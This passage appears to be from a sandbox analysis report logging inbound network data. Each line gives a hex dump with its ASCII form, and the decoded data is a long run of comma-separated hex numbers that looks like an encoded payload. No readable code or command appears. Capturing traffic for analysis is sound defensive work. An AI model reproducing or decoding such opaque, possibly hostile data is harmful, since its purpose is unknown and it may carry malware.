2023-04-20 23:04:56 UTC	9517	IN	Data Raw: 66 61 2c 31 30 61 2c 31 35 33 2c 31 32 36 2c 31 32 38 2c 31 30 33 2c 31 30 38 2c 66 35 2c 61 37 2c 35 37 2c 31 33 39 2c 31 32 36 2c 31 33 30 2c 31 35 62 2c 31 35 37 2c 31 32 63 2c 63 61 2c 31 35 30 2c 34 37 2c 31 33 62 2c 31 30 35 2c 31 36 62 2c 31 34 66 2c 31 32 63 2c 34 64 2c 31 30 62 2c 65 35 2c 36 65 2c 66 36 2c 39 33 2c 31 33 66 2c 31 34 35 2c 65 65 2c 31 30 39 2c 62 34 2c 62 34 2c 62 38 2c 31 33 39 2c 61 34 2c 31 33 32 2c 35 64 2c 31 35 30 2c 37 66 2c 31 32 64 2c 31 37 30 2c 31 33 63 2c 39 36 2c 62 30 2c 31 32 36 2c 31 33 38 2c 38 30 2c 31 34 33 2c 38 34 2c 31 30 30 2c 62 66 2c 66 38 2c 31 30 61 2c 31 34 36 2c 31 30 62 2c 31 33 32 2c 65 61 2c 31 31 33 2c 66 37 2c 39 33 2c 36 32 2c 66 38 2c 36 33 2c 31 32 61 2c 31 30 63 2c 66 66 2c 66 32 2c 35 38 2c Data Ascii: fa,10a,153,126,128,103,108,f5,a7,57,139,126,130,15b,157,12c,ca,150,47,13b,105,16b,14f,12c,4d,10b,e5,6e,f6,93,13f,145,ee,109,b4,b4,b8,139,a4,132,5d,150,7f,12d,170,13c,96,b0,126,138,80,143,84,100,bf,f8,10a,146,10b,132,ea,113,f7,93,62,f8,63,12a,10c,ff,f2,58,
2023-04-20 23:04:56 UTC	9533	IN	Data Raw: 31 2c 31 31 32 2c 63 34 2c 66 31 2c 35 63 2c 64 31 2c 64 62 2c 31 32 37 2c 31 31 32 2c 64 65 2c 61 64 2c 31 31 61 2c 39 31 2c 39 36 2c 61 66 2c 31 32 37 2c 64 35 2c 31 31 65 2c 31 34 66 2c 63 35 2c 37 34 2c 31 35 66 2c 39 35 2c 37 64 2c 31 32 64 2c 31 34 36 2c 31 30 39 2c 65 61 2c 31 32 32 2c 31 31 62 2c 62 64 2c 61 30 2c 31 32 30 2c 62 62 2c 39 66 2c 64 30 2c 31 31 63 2c 62 63 2c 62 39 2c 66 38 2c 37 31 2c 33 65 2c 65 63 2c 31 33 62 2c 31 35 63 2c 61 38 2c 66 35 2c 31 35 31 2c 31 31 33 2c 66 63 2c 31 32 66 2c 36 61 2c 37 62 2c 37 64 2c 31 32 38 2c 31 30 32 2c 34 39 2c 66 32 2c 31 30 32 2c 66 37 2c 36 39 2c 31 31 31 2c 31 33 38 2c 36 64 2c 31 32 65 2c 34 36 2c 31 32 61 2c 34 32 2c 31 32 31 2c 65 63 2c 31 32 61 2c 65 35 2c 65 33 2c 62 35 2c 31 31 35 2c 62 Data Ascii: 1,112,c4,f1,5c,d1,db,127,112,de,ad,11a,91,96,af,127,d5,11e,14f,c5,74,15f,95,7d,12d,146,109,ea,122,11b,bd,a0,120,bb,9f,d0,11c,bc,b9,f8,71,3e,ec,13b,15c,a8,f5,151,113,fc,12f,6a,7b,7d,128,102,49,f2,102,f7,69,111,138,6d,12e,46,12a,42,121,ec,12a,e5,e3,b5,115,b
2023-04-20 23:04:56 UTC	9549	IN	Data Raw: 36 30 2c 37 34 2c 33 65 2c 31 32 37 2c 61 30 2c 64 36 2c 61 61 2c 31 30 35 2c 62 63 2c 37 62 2c 61 34 2c 31 35 64 2c 39 65 2c 31 31 36 2c 37 61 2c 31 32 34 2c 36 36 2c 65 32 2c 37 31 2c 31 31 39 2c 31 32 35 2c 31 34 62 2c 61 62 2c 33 66 2c 31 33 38 2c 31 33 35 2c 39 62 2c 65 37 2c 65 34 2c 64 34 2c 63 33 2c 66 65 2c 31 30 39 2c 31 31 61 2c 31 30 30 2c 31 34 30 2c 37 66 2c 31 35 31 2c 31 35 38 2c 66 61 2c 63 39 2c 35 39 2c 61 38 2c 38 32 2c 31 34 32 2c 61 32 2c 38 64 2c 31 32 66 2c 63 37 2c 61 65 2c 36 39 2c 62 36 2c 31 31 35 2c 64 34 2c 61 36 2c 38 34 2c 31 30 63 2c 39 61 2c 35 33 2c 65 33 2c 39 36 2c 31 33 33 2c 37 38 2c 65 61 2c 64 61 2c 31 33 31 2c 37 37 2c 62 66 2c 66 34 2c 61 62 2c 31 33 64 2c 64 35 2c 36 32 2c 31 31 65 2c 38 62 2c 31 31 39 2c 31 33 Data Ascii: 60,74,3e,127,a0,d6,aa,105,bc,7b,a4,15d,9e,116,7a,124,66,e2,71,119,125,14b,ab,3f,138,135,9b,e7,e4,d4,c3,fe,109,11a,100,140,7f,151,158,fa,c9,59,a8,82,142,a2,8d,12f,c7,ae,69,b6,115,d4,a6,84,10c,9a,53,e3,96,133,78,ea,da,131,77,bf,f4,ab,13d,d5,62,11e,8b,119,13
2023-04-20 23:04:56 UTC	9565	IN	Data Raw: 2c 37 62 2c 31 30 61 2c 31 30 61 2c 63 30 2c 31 31 66 2c 61 64 2c 38 64 2c 31 31 61 2c 33 38 2c 64 63 2c 38 31 2c 31 30 62 2c 65 35 2c 37 62 2c 66 64 2c 63 34 2c 39 61 2c 62 39 2c 61 39 2c 37 65 2c 66 32 2c 62 35 2c 31 32 64 2c 61 39 2c 31 35 61 2c 35 33 2c 64 38 2c 62 39 2c 31 34 34 2c 38 37 2c 37 38 2c 61 37 2c 63 34 2c 66 36 2c 62 64 2c 61 64 2c 31 34 65 2c 64 31 2c 38 31 2c 64 63 2c 36 34 2c 31 32 39 2c 66 30 2c 38 39 2c 63 31 2c 36 36 2c 65 66 2c 37 36 2c 66 62 2c 38 32 2c 31 33 62 2c 66 64 2c 65 34 2c 64 39 2c 63 33 2c 62 65 2c 66 65 2c 34 37 2c 62 33 2c 39 66 2c 38 62 2c 62 64 2c 36 64 2c 35 63 2c 62 66 2c 65 32 2c 64 31 2c 38 30 2c 65 37 2c 64 62 2c 38 34 2c 31 34 31 2c 38 61 2c 31 31 36 2c 66 66 2c 31 30 34 2c 38 64 2c 31 30 62 2c 64 31 2c 65 32 Data Ascii: ,7b,10a,10a,c0,11f,ad,8d,11a,38,dc,81,10b,e5,7b,fd,c4,9a,b9,a9,7e,f2,b5,12d,a9,15a,53,d8,b9,144,87,78,a7,c4,f6,bd,ad,14e,d1,81,dc,64,129,f0,89,c1,66,ef,76,fb,82,13b,fd,e4,d9,c3,be,fe,47,b3,9f,8b,bd,6d,5c,bf,e2,d1,80,e7,db,84,141,8a,116,ff,104,8d,10b,d1,e2
2023-04-20 23:04:56 UTC	9581	IN	Data Raw: 2c 63 38 2c 31 36 34 2c 61 65 2c 66 63 2c 39 37 2c 39 33 2c 37 35 2c 31 33 61 2c 61 30 2c 31 30 33 2c 36 38 2c 61 65 2c 39 61 2c 37 33 2c 65 64 2c 35 38 2c 31 31 30 2c 66 37 2c 66 34 2c 62 37 2c 66 62 2c 66 35 2c 31 33 39 2c 65 38 2c 31 31 63 2c 61 39 2c 61 39 2c 61 66 2c 35 34 2c 37 35 2c 37 33 2c 35 35 2c 33 36 2c 64 63 2c 37 38 2c 63 61 2c 61 66 2c 62 36 2c 36 64 2c 64 30 2c 65 34 2c 38 61 2c 65 32 2c 31 33 35 2c 39 35 2c 62 62 2c 63 31 2c 39 63 2c 34 65 2c 39 30 2c 31 31 65 2c 37 35 2c 39 66 2c 39 62 2c 31 33 33 2c 38 36 2c 61 36 2c 31 33 64 2c 35 62 2c 38 34 2c 31 34 35 2c 31 31 30 2c 61 64 2c 31 31 35 2c 35 64 2c 64 32 2c 31 32 39 2c 31 33 33 2c 36 62 2c 61 62 2c 31 35 38 2c 63 35 2c 31 31 39 2c 31 31 36 2c 31 30 35 2c 64 36 2c 64 33 2c 31 31 37 2c Data Ascii: ,c8,164,ae,fc,97,93,75,13a,a0,103,68,ae,9a,73,ed,58,110,f7,f4,b7,fb,f5,139,e8,11c,a9,a9,af,54,75,73,55,36,dc,78,ca,af,b6,6d,d0,e4,8a,e2,135,95,bb,c1,9c,4e,90,11e,75,9f,9b,133,86,a6,13d,5b,84,145,110,ad,115,5d,d2,129,133,6b,ab,158,c5,119,116,105,d6,d3,117,
2023-04-20 23:04:56 UTC	9597	IN	Data Raw: 61 2c 36 63 2c 66 65 2c 39 34 2c 64 64 2c 39 31 2c 66 34 2c 31 37 31 2c 31 30 36 2c 63 65 2c 34 34 2c 37 64 2c 31 30 35 2c 64 31 2c 65 30 2c 61 61 2c 61 34 2c 31 32 31 2c 31 31 36 2c 31 30 34 2c 62 34 2c 64 38 2c 63 37 2c 31 34 31 2c 62 35 2c 61 38 2c 37 64 2c 64 61 2c 35 62 2c 66 30 2c 63 64 2c 65 35 2c 36 39 2c 39 32 2c 31 32 37 2c 38 61 2c 66 64 2c 36 65 2c 31 33 36 2c 31 34 62 2c 31 31 63 2c 38 37 2c 38 34 2c 66 30 2c 34 33 2c 31 31 36 2c 31 35 35 2c 31 33 33 2c 31 33 38 2c 37 38 2c 33 39 2c 37 32 2c 31 30 30 2c 61 62 2c 39 35 2c 65 35 2c 62 36 2c 34 65 2c 66 30 2c 62 31 2c 66 34 2c 61 33 2c 31 33 62 2c 31 33 32 2c 31 35 31 2c 64 61 2c 31 32 65 2c 39 31 2c 38 36 2c 36 32 2c 65 30 2c 39 31 2c 31 32 38 2c 63 39 2c 64 66 2c 39 30 2c 39 32 2c 62 35 2c 38 Data Ascii: a,6c,fe,94,dd,91,f4,171,106,ce,44,7d,105,d1,e0,aa,a4,121,116,104,b4,d8,c7,141,b5,a8,7d,da,5b,f0,cd,e5,69,92,127,8a,fd,6e,136,14b,11c,87,84,f0,43,116,155,133,138,78,39,72,100,ab,95,e5,b6,4e,f0,b1,f4,a3,13b,132,151,da,12e,91,86,62,e0,91,128,c9,df,90,92,b5,8
2023-04-20 23:04:56 UTC	9613	IN	Data Raw: 64 2c 64 62 2c 66 38 2c 61 35 2c 64 66 2c 62 33 2c 39 35 2c 66 36 2c 31 34 38 2c 31 32 37 2c 34 63 2c 66 37 2c 31 34 63 2c 39 62 2c 31 31 61 2c 64 63 2c 64 34 2c 62 31 2c 31 35 38 2c 64 38 2c 31 32 62 2c 61 30 2c 64 35 2c 64 38 2c 31 33 66 2c 38 39 2c 31 34 32 2c 39 31 2c 66 33 2c 38 34 2c 63 61 2c 64 30 2c 36 39 2c 38 63 2c 31 31 39 2c 66 63 2c 63 63 2c 31 31 61 2c 31 34 37 2c 62 32 2c 65 65 2c 62 65 2c 61 64 2c 39 62 2c 38 32 2c 31 30 34 2c 62 39 2c 62 63 2c 31 33 33 2c 62 65 2c 31 35 64 2c 35 37 2c 38 61 2c 37 64 2c 39 35 2c 65 32 2c 31 33 65 2c 62 36 2c 64 35 2c 65 38 2c 63 66 2c 34 39 2c 66 36 2c 66 61 2c 63 62 2c 31 34 32 2c 39 33 2c 31 34 32 2c 31 32 33 2c 38 33 2c 35 65 2c 31 32 35 2c 31 36 32 2c 31 30 61 2c 31 30 62 2c 31 30 39 2c 31 31 33 2c 65 Data Ascii: d,db,f8,a5,df,b3,95,f6,148,127,4c,f7,14c,9b,11a,dc,d4,b1,158,d8,12b,a0,d5,d8,13f,89,142,91,f3,84,ca,d0,69,8c,119,fc,cc,11a,147,b2,ee,be,ad,9b,82,104,b9,bc,133,be,15d,57,8a,7d,95,e2,13e,b6,d5,e8,cf,49,f6,fa,cb,142,93,142,123,83,5e,125,162,10a,10b,109,113,e
2023-04-20 23:04:56 UTC	9629	IN	Data Raw: 63 2c 31 31 31 2c 31 31 31 2c 36 65 2c 38 36 2c 37 37 2c 39 64 2c 31 35 36 2c 62 30 2c 31 31 34 2c 37 36 2c 65 63 2c 61 63 2c 36 65 2c 64 38 2c 38 31 2c 31 34 62 2c 63 31 2c 63 65 2c 31 32 32 2c 63 30 2c 64 38 2c 37 34 2c 31 31 39 2c 31 31 63 2c 62 63 2c 31 32 62 2c 62 32 2c 66 38 2c 38 38 2c 31 33 34 2c 31 31 64 2c 37 64 2c 64 39 2c 38 65 2c 31 31 64 2c 31 31 65 2c 31 34 39 2c 31 31 38 2c 64 36 2c 31 34 32 2c 62 36 2c 31 34 35 2c 61 31 2c 31 30 33 2c 31 32 62 2c 31 33 39 2c 31 32 61 2c 31 36 65 2c 31 32 32 2c 31 33 62 2c 31 30 62 2c 31 31 38 2c 31 32 64 2c 35 64 2c 66 32 2c 38 34 2c 65 36 2c 31 34 61 2c 31 33 37 2c 34 31 2c 64 37 2c 64 31 2c 64 37 2c 39 64 2c 31 33 32 2c 61 61 2c 39 38 2c 64 31 2c 38 64 2c 35 66 2c 31 37 37 2c 31 37 31 2c 31 33 66 2c 65 Data Ascii: c,111,111,6e,86,77,9d,156,b0,114,76,ec,ac,6e,d8,81,14b,c1,ce,122,c0,d8,74,119,11c,bc,12b,b2,f8,88,134,11d,7d,d9,8e,11d,11e,149,118,d6,142,b6,145,a1,103,12b,139,12a,16e,122,13b,10b,118,12d,5d,f2,84,e6,14a,137,41,d7,d1,d7,9d,132,aa,98,d1,8d,5f,177,171,13f,e
2023-04-20 23:04:56 UTC	9645	IN	Data Raw: 2c 31 36 62 2c 61 36 2c 31 34 31 2c 31 31 64 2c 64 39 2c 65 37 2c 66 61 2c 64 36 2c 31 33 66 2c 39 32 2c 62 39 2c 31 32 62 2c 35 37 2c 65 31 2c 64 32 2c 64 34 2c 35 62 2c 31 32 32 2c 39 65 2c 31 35 36 2c 31 31 63 2c 31 32 30 2c 66 30 2c 31 30 64 2c 62 63 2c 31 32 63 2c 31 30 65 2c 31 32 34 2c 62 37 2c 31 31 63 2c 66 35 2c 39 35 2c 37 66 2c 66 64 2c 62 66 2c 31 32 31 2c 62 34 2c 39 32 2c 66 30 2c 34 63 2c 35 35 2c 62 36 2c 31 34 39 2c 63 65 2c 63 64 2c 64 66 2c 31 30 35 2c 33 66 2c 31 30 34 2c 34 63 2c 36 33 2c 66 66 2c 64 39 2c 31 30 32 2c 62 30 2c 31 33 65 2c 36 62 2c 36 63 2c 31 30 30 2c 37 65 2c 61 34 2c 36 32 2c 63 32 2c 63 30 2c 62 30 2c 31 30 32 2c 64 34 2c 36 36 2c 31 32 37 2c 63 33 2c 31 34 34 2c 34 37 2c 31 34 65 2c 31 33 35 2c 39 38 2c 31 35 39 Data Ascii: ,16b,a6,141,11d,d9,e7,fa,d6,13f,92,b9,12b,57,e1,d2,d4,5b,122,9e,156,11c,120,f0,10d,bc,12c,10e,124,b7,11c,f5,95,7f,fd,bf,121,b4,92,f0,4c,55,b6,149,ce,cd,df,105,3f,104,4c,63,ff,d9,102,b0,13e,6b,6c,100,7e,a4,62,c2,c0,b0,102,d4,66,127,c3,144,47,14e,135,98,159
2023-04-20 23:04:59 UTC	9661	IN	Data Raw: 66 2c 31 30 62 2c 64 35 2c 38 35 2c 66 65 2c 31 33 35 2c 66 34 2c 36 65 2c 65 64 2c 61 39 2c 66 38 2c 64 32 2c 31 31 33 2c 63 36 2c 38 61 2c 38 64 2c 31 31 62 2c 37 63 2c 39 65 2c 31 30 35 2c 31 33 65 2c 38 66 2c 34 37 2c 39 62 2c 31 30 32 2c 33 66 2c 36 39 2c 65 65 2c 31 34 65 2c 61 30 2c 63 64 2c 37 38 2c 31 34 30 2c 39 63 2c 65 61 2c 31 37 33 2c 63 62 2c 61 31 2c 31 33 65 2c 37 38 2c 36 65 2c 63 62 2c 31 30 63 2c 39 66 2c 39 34 2c 36 66 2c 31 32 33 2c 37 62 2c 31 35 64 2c 66 35 2c 31 34 63 2c 31 32 65 2c 31 31 38 2c 31 31 66 2c 35 36 2c 33 34 2c 31 35 33 2c 36 36 2c 31 33 37 2c 62 30 2c 64 34 2c 39 39 2c 65 35 2c 66 61 2c 39 34 2c 62 61 2c 39 37 2c 37 62 2c 37 37 2c 31 32 66 2c 31 30 39 2c 31 32 34 2c 35 61 2c 31 31 66 2c 31 32 39 2c 31 37 38 2c 66 31 Data Ascii: f,10b,d5,85,fe,135,f4,6e,ed,a9,f8,d2,113,c6,8a,8d,11b,7c,9e,105,13e,8f,47,9b,102,3f,69,ee,14e,a0,cd,78,140,9c,ea,173,cb,a1,13e,78,6e,cb,10c,9f,94,6f,123,7b,15d,f5,14c,12e,118,11f,56,34,153,66,137,b0,d4,99,e5,fa,94,ba,97,7b,77,12f,109,124,5a,11f,129,178,f1
2023-04-20 23:04:59 UTC	9677	IN	Data Raw: 2c 63 35 2c 38 33 2c 65 38 2c 31 30 31 2c 63 35 2c 31 32 35 2c 31 35 63 2c 31 37 34 2c 38 39 2c 38 37 2c 34 64 2c 63 39 2c 66 37 2c 34 33 2c 65 64 2c 37 66 2c 36 38 2c 31 33 31 2c 33 65 2c 31 34 34 2c 31 33 63 2c 39 61 2c 31 30 34 2c 31 31 39 2c 31 34 64 2c 64 36 2c 38 66 2c 31 30 65 2c 38 37 2c 65 63 2c 34 39 2c 31 32 63 2c 31 35 66 2c 64 63 2c 37 38 2c 37 62 2c 37 31 2c 38 35 2c 39 33 2c 31 30 30 2c 31 35 30 2c 31 32 62 2c 31 32 38 2c 36 61 2c 31 34 63 2c 62 32 2c 36 66 2c 62 66 2c 31 34 30 2c 31 32 62 2c 33 62 2c 61 31 2c 65 35 2c 39 34 2c 31 34 33 2c 66 37 2c 38 63 2c 31 30 30 2c 62 39 2c 64 35 2c 31 35 35 2c 64 37 2c 31 32 62 2c 39 61 2c 31 33 39 2c 36 64 2c 37 32 2c 35 32 2c 66 65 2c 31 35 34 2c 64 39 2c 31 35 62 2c 38 62 2c 31 30 34 2c 31 32 39 2c Data Ascii: ,c5,83,e8,101,c5,125,15c,174,89,87,4d,c9,f7,43,ed,7f,68,131,3e,144,13c,9a,104,119,14d,d6,8f,10e,87,ec,49,12c,15f,dc,78,7b,71,85,93,100,150,12b,128,6a,14c,b2,6f,bf,140,12b,3b,a1,e5,94,143,f7,8c,100,b9,d5,155,d7,12b,9a,139,6d,72,52,fe,154,d9,15b,8b,104,129,
2023-04-20 23:04:59 UTC	9693	IN	Data Raw: 31 30 65 2c 62 66 2c 39 36 2c 61 31 2c 31 33 61 2c 35 38 2c 61 66 2c 31 36 36 2c 63 62 2c 38 65 2c 35 65 2c 31 35 39 2c 38 30 2c 38 37 2c 37 35 2c 64 66 2c 63 30 2c 39 61 2c 61 36 2c 31 30 38 2c 62 36 2c 34 39 2c 66 37 2c 64 66 2c 31 30 64 2c 31 33 39 2c 66 39 2c 31 35 30 2c 31 36 34 2c 38 39 2c 31 30 34 2c 38 37 2c 66 35 2c 31 34 39 2c 38 63 2c 31 30 38 2c 38 65 2c 64 36 2c 31 30 34 2c 66 65 2c 38 30 2c 36 38 2c 38 35 2c 62 36 2c 31 36 34 2c 31 35 61 2c 37 63 2c 31 34 31 2c 31 33 37 2c 31 30 63 2c 65 63 2c 39 30 2c 35 65 2c 31 30 35 2c 37 37 2c 31 33 37 2c 64 39 2c 36 61 2c 63 31 2c 31 32 36 2c 63 62 2c 37 38 2c 62 39 2c 31 30 66 2c 35 37 2c 65 32 2c 63 61 2c 63 65 2c 61 63 2c 37 31 2c 66 30 2c 38 39 2c 65 65 2c 38 36 2c 31 30 39 2c 63 66 2c 64 66 2c 31 Data Ascii: 10e,bf,96,a1,13a,58,af,166,cb,8e,5e,159,80,87,75,df,c0,9a,a6,108,b6,49,f7,df,10d,139,f9,150,164,89,104,87,f5,149,8c,108,8e,d6,104,fe,80,68,85,b6,164,15a,7c,141,137,10c,ec,90,5e,105,77,137,d9,6a,c1,126,cb,78,b9,10f,57,e2,ca,ce,ac,71,f0,89,ee,86,109,cf,df,1
2023-04-20 23:04:59 UTC	9709	IN	Data Raw: 32 37 2c 31 30 65 2c 31 35 62 2c 31 33 37 2c 31 32 38 2c 39 35 2c 34 36 2c 31 32 30 2c 31 31 64 2c 37 62 2c 31 32 66 2c 31 31 36 2c 31 34 36 2c 66 37 2c 31 31 62 2c 31 35 33 2c 33 34 2c 31 34 36 2c 37 66 2c 31 32 31 2c 31 31 36 2c 65 36 2c 37 61 2c 62 31 2c 64 66 2c 31 34 34 2c 62 35 2c 38 32 2c 64 39 2c 63 30 2c 63 33 2c 39 39 2c 31 30 35 2c 31 31 63 2c 61 30 2c 31 33 31 2c 31 35 30 2c 64 32 2c 39 35 2c 64 30 2c 31 31 36 2c 64 32 2c 61 32 2c 39 35 2c 31 30 63 2c 31 31 37 2c 31 33 61 2c 31 30 38 2c 63 64 2c 36 35 2c 62 34 2c 64 61 2c 31 32 64 2c 64 31 2c 62 36 2c 38 34 2c 31 30 66 2c 31 32 38 2c 31 34 65 2c 66 38 2c 31 31 62 2c 31 36 61 2c 66 37 2c 62 39 2c 31 33 36 2c 62 65 2c 31 32 66 2c 35 61 2c 31 33 32 2c 31 32 35 2c 31 30 36 2c 66 36 2c 31 31 31 2c Data Ascii: 27,10e,15b,137,128,95,46,120,11d,7b,12f,116,146,f7,11b,153,34,146,7f,121,116,e6,7a,b1,df,144,b5,82,d9,c0,c3,99,105,11c,a0,131,150,d2,95,d0,116,d2,a2,95,10c,117,13a,108,cd,65,b4,da,12d,d1,b6,84,10f,128,14e,f8,11b,16a,f7,b9,136,be,12f,5a,132,125,106,f6,111,
2023-04-20 23:04:59 UTC	9725	IN	Data Raw: 32 2c 35 66 2c 64 32 2c 34 32 2c 61 30 2c 63 30 2c 31 30 35 2c 38 32 2c 38 36 2c 31 30 65 2c 65 65 2c 62 34 2c 31 31 61 2c 63 34 2c 31 30 35 2c 31 32 30 2c 31 30 31 2c 64 64 2c 64 36 2c 38 35 2c 38 33 2c 61 62 2c 31 33 39 2c 31 30 62 2c 61 34 2c 63 65 2c 31 35 37 2c 35 34 2c 35 38 2c 31 30 33 2c 66 63 2c 31 31 36 2c 37 36 2c 61 37 2c 39 33 2c 38 61 2c 31 34 32 2c 37 62 2c 37 36 2c 31 34 36 2c 31 34 61 2c 65 37 2c 31 32 61 2c 31 32 65 2c 31 30 66 2c 31 35 33 2c 31 34 61 2c 31 30 66 2c 63 35 2c 31 32 63 2c 61 32 2c 66 30 2c 31 34 63 2c 31 34 38 2c 31 32 35 2c 31 30 36 2c 31 32 66 2c 31 34 32 2c 31 34 35 2c 39 66 2c 31 33 38 2c 66 39 2c 38 30 2c 31 30 30 2c 61 61 2c 35 61 2c 31 33 36 2c 31 33 34 2c 31 33 31 2c 63 63 2c 38 36 2c 63 31 2c 31 30 30 2c 34 33 2c Data Ascii: 2,5f,d2,42,a0,c0,105,82,86,10e,ee,b4,11a,c4,105,120,101,dd,d6,85,83,ab,139,10b,a4,ce,157,54,58,103,fc,116,76,a7,93,8a,142,7b,76,146,14a,e7,12a,12e,10f,153,14a,10f,c5,12c,a2,f0,14c,148,125,106,12f,142,145,9f,138,f9,80,100,aa,5a,136,134,131,cc,86,c1,100,43,
2023-04-20 23:04:59 UTC	9741	IN	Data Raw: 2c 31 32 65 2c 31 35 39 2c 65 35 2c 61 62 2c 64 65 2c 39 34 2c 65 66 2c 31 33 63 2c 61 35 2c 64 30 2c 65 37 2c 39 32 2c 37 38 2c 31 31 30 2c 61 30 2c 35 33 2c 65 34 2c 63 34 2c 31 33 65 2c 31 32 37 2c 36 63 2c 36 34 2c 65 30 2c 39 66 2c 31 31 36 2c 62 32 2c 37 61 2c 31 30 36 2c 31 30 39 2c 63 62 2c 37 64 2c 66 30 2c 31 31 36 2c 31 32 30 2c 64 66 2c 39 62 2c 31 31 30 2c 31 30 34 2c 38 63 2c 65 33 2c 64 34 2c 66 34 2c 31 32 36 2c 31 36 37 2c 66 39 2c 66 38 2c 31 34 33 2c 37 61 2c 31 33 30 2c 37 61 2c 62 63 2c 37 63 2c 31 30 38 2c 66 66 2c 66 31 2c 34 37 2c 65 62 2c 61 39 2c 66 61 2c 31 32 35 2c 31 30 35 2c 66 65 2c 31 34 39 2c 63 36 2c 66 34 2c 64 61 2c 31 34 39 2c 39 66 2c 31 34 33 2c 39 36 2c 61 35 2c 31 30 39 2c 64 38 2c 63 37 2c 31 36 33 2c 31 33 38 2c Data Ascii: ,12e,159,e5,ab,de,94,ef,13c,a5,d0,e7,92,78,110,a0,53,e4,c4,13e,127,6c,64,e0,9f,116,b2,7a,106,109,cb,7d,f0,116,120,df,9b,110,104,8c,e3,d4,f4,126,167,f9,f8,143,7a,130,7a,bc,7c,108,ff,f1,47,eb,a9,fa,125,105,fe,149,c6,f4,da,149,9f,143,96,a5,109,d8,c7,163,138,
2023-04-20 23:04:59 UTC	9757	IN	Data Raw: 35 65 2c 66 31 2c 35 62 2c 36 38 2c 35 37 2c 31 31 64 2c 63 34 2c 31 36 32 2c 34 65 2c 61 32 2c 31 35 38 2c 34 66 2c 31 34 66 2c 62 31 2c 31 32 32 2c 31 31 64 2c 66 34 2c 66 64 2c 31 36 64 2c 66 35 2c 36 61 2c 63 34 2c 31 34 66 2c 31 32 31 2c 31 34 34 2c 31 31 35 2c 64 63 2c 31 30 33 2c 31 34 30 2c 37 63 2c 65 62 2c 37 30 2c 64 37 2c 66 30 2c 61 35 2c 39 61 2c 61 61 2c 31 36 30 2c 66 61 2c 39 33 2c 39 30 2c 64 35 2c 61 32 2c 62 65 2c 66 33 2c 37 31 2c 31 33 34 2c 62 61 2c 64 35 2c 31 30 38 2c 62 34 2c 35 65 2c 36 36 2c 39 31 2c 31 36 30 2c 31 34 39 2c 37 35 2c 64 63 2c 31 33 62 2c 31 30 62 2c 64 39 2c 31 32 62 2c 31 33 64 2c 31 31 37 2c 34 64 2c 35 66 2c 31 34 66 2c 63 33 2c 62 34 2c 31 33 39 2c 39 37 2c 31 35 30 2c 64 32 2c 31 33 32 2c 31 31 37 2c 64 63 Data Ascii: 5e,f1,5b,68,57,11d,c4,162,4e,a2,158,4f,14f,b1,122,11d,f4,fd,16d,f5,6a,c4,14f,121,144,115,dc,103,140,7c,eb,70,d7,f0,a5,9a,aa,160,fa,93,90,d5,a2,be,f3,71,134,ba,d5,108,b4,5e,66,91,160,149,75,dc,13b,10b,d9,12b,13d,117,4d,5f,14f,c3,b4,139,97,150,d2,132,117,dc
2023-04-20 23:04:59 UTC	9773	IN	Data Raw: 35 2c 31 34 31 2c 39 38 2c 31 34 61 2c 66 33 2c 39 36 2c 31 33 30 2c 65 33 2c 63 65 2c 63 62 2c 31 34 65 2c 61 62 2c 31 31 32 2c 31 31 65 2c 35 38 2c 31 33 61 2c 31 34 37 2c 62 37 2c 35 39 2c 38 37 2c 31 35 65 2c 64 65 2c 31 30 63 2c 37 62 2c 64 33 2c 31 30 65 2c 34 63 2c 31 32 34 2c 31 30 61 2c 66 39 2c 64 63 2c 31 30 63 2c 31 32 33 2c 31 30 31 2c 31 36 65 2c 31 30 33 2c 61 35 2c 63 34 2c 31 31 62 2c 34 33 2c 31 33 30 2c 31 30 30 2c 37 62 2c 63 31 2c 36 35 2c 31 34 34 2c 31 32 66 2c 64 33 2c 36 62 2c 39 61 2c 35 33 2c 31 34 62 2c 31 34 39 2c 36 32 2c 31 34 34 2c 65 65 2c 31 32 32 2c 34 66 2c 37 66 2c 66 65 2c 38 30 2c 31 35 31 2c 38 65 2c 64 33 2c 31 30 66 2c 61 64 2c 38 39 2c 39 37 2c 31 30 36 2c 31 30 33 2c 39 33 2c 38 33 2c 31 34 36 2c 31 33 31 2c 39 Data Ascii: 5,141,98,14a,f3,96,130,e3,ce,cb,14e,ab,112,11e,58,13a,147,b7,59,87,15e,de,10c,7b,d3,10e,4c,124,10a,f9,dc,10c,123,101,16e,103,a5,c4,11b,43,130,100,7b,c1,65,144,12f,d3,6b,9a,53,14b,149,62,144,ee,122,4f,7f,fe,80,151,8e,d3,10f,ad,89,97,106,103,93,83,146,131,9
2023-04-20 23:04:59 UTC	9789	IN	Data Raw: 2c 31 30 66 2c 65 65 2c 35 65 2c 31 32 38 2c 63 64 2c 31 37 35 2c 66 30 2c 31 33 30 2c 36 65 2c 31 31 31 2c 31 32 35 2c 66 61 2c 31 34 35 2c 63 34 2c 66 61 2c 31 31 64 2c 38 66 2c 61 30 2c 37 64 2c 63 66 2c 31 30 39 2c 38 63 2c 64 61 2c 36 64 2c 62 37 2c 62 39 2c 63 38 2c 65 32 2c 61 36 2c 38 31 2c 31 35 33 2c 31 31 64 2c 31 31 34 2c 36 65 2c 31 34 32 2c 61 31 2c 66 66 2c 31 31 30 2c 66 65 2c 37 63 2c 63 39 2c 31 32 36 2c 31 31 38 2c 62 35 2c 61 63 2c 39 61 2c 31 35 31 2c 39 30 2c 31 32 39 2c 36 31 2c 31 31 66 2c 39 65 2c 61 33 2c 62 33 2c 31 33 35 2c 65 37 2c 38 65 2c 31 30 66 2c 31 33 31 2c 63 63 2c 37 61 2c 61 65 2c 37 32 2c 31 32 63 2c 31 32 34 2c 66 35 2c 31 35 33 2c 36 66 2c 39 66 2c 61 62 2c 62 33 2c 31 35 30 2c 33 36 2c 31 32 64 2c 66 33 2c 33 61 Data Ascii: ,10f,ee,5e,128,cd,175,f0,130,6e,111,125,fa,145,c4,fa,11d,8f,a0,7d,cf,109,8c,da,6d,b7,b9,c8,e2,a6,81,153,11d,114,6e,142,a1,ff,110,fe,7c,c9,126,118,b5,ac,9a,151,90,129,61,11f,9e,a3,b3,135,e7,8e,10f,131,cc,7a,ae,72,12c,124,f5,153,6f,9f,ab,b3,150,36,12d,f3,3a
